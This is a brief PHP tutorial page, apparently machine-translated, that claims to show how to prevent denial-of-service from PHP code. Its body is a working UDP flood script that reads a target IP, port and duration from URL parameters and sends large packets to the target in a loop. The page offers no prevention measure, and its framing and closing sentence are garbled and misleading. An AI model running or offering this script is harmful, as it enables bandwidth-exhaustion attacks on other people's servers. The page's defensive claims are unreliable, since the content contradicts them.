Home > Article > Backend Development > php code to prevent users from using up the network bandwidth by using PHP code DOS
Use PHP code to call sockets and directly use the server's network to attack other IPs. Common codes are as follows:
Copy code The code is as follows:
$packets = 0;
$ip = $_GET['ip'] ;
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1 ){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $ packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
The above introduces the PHP code to prevent users from using up the network bandwidth due to DOS using the PHP code, including the content of the PHP code. I hope it will be helpful to friends who are interested in PHP tutorials.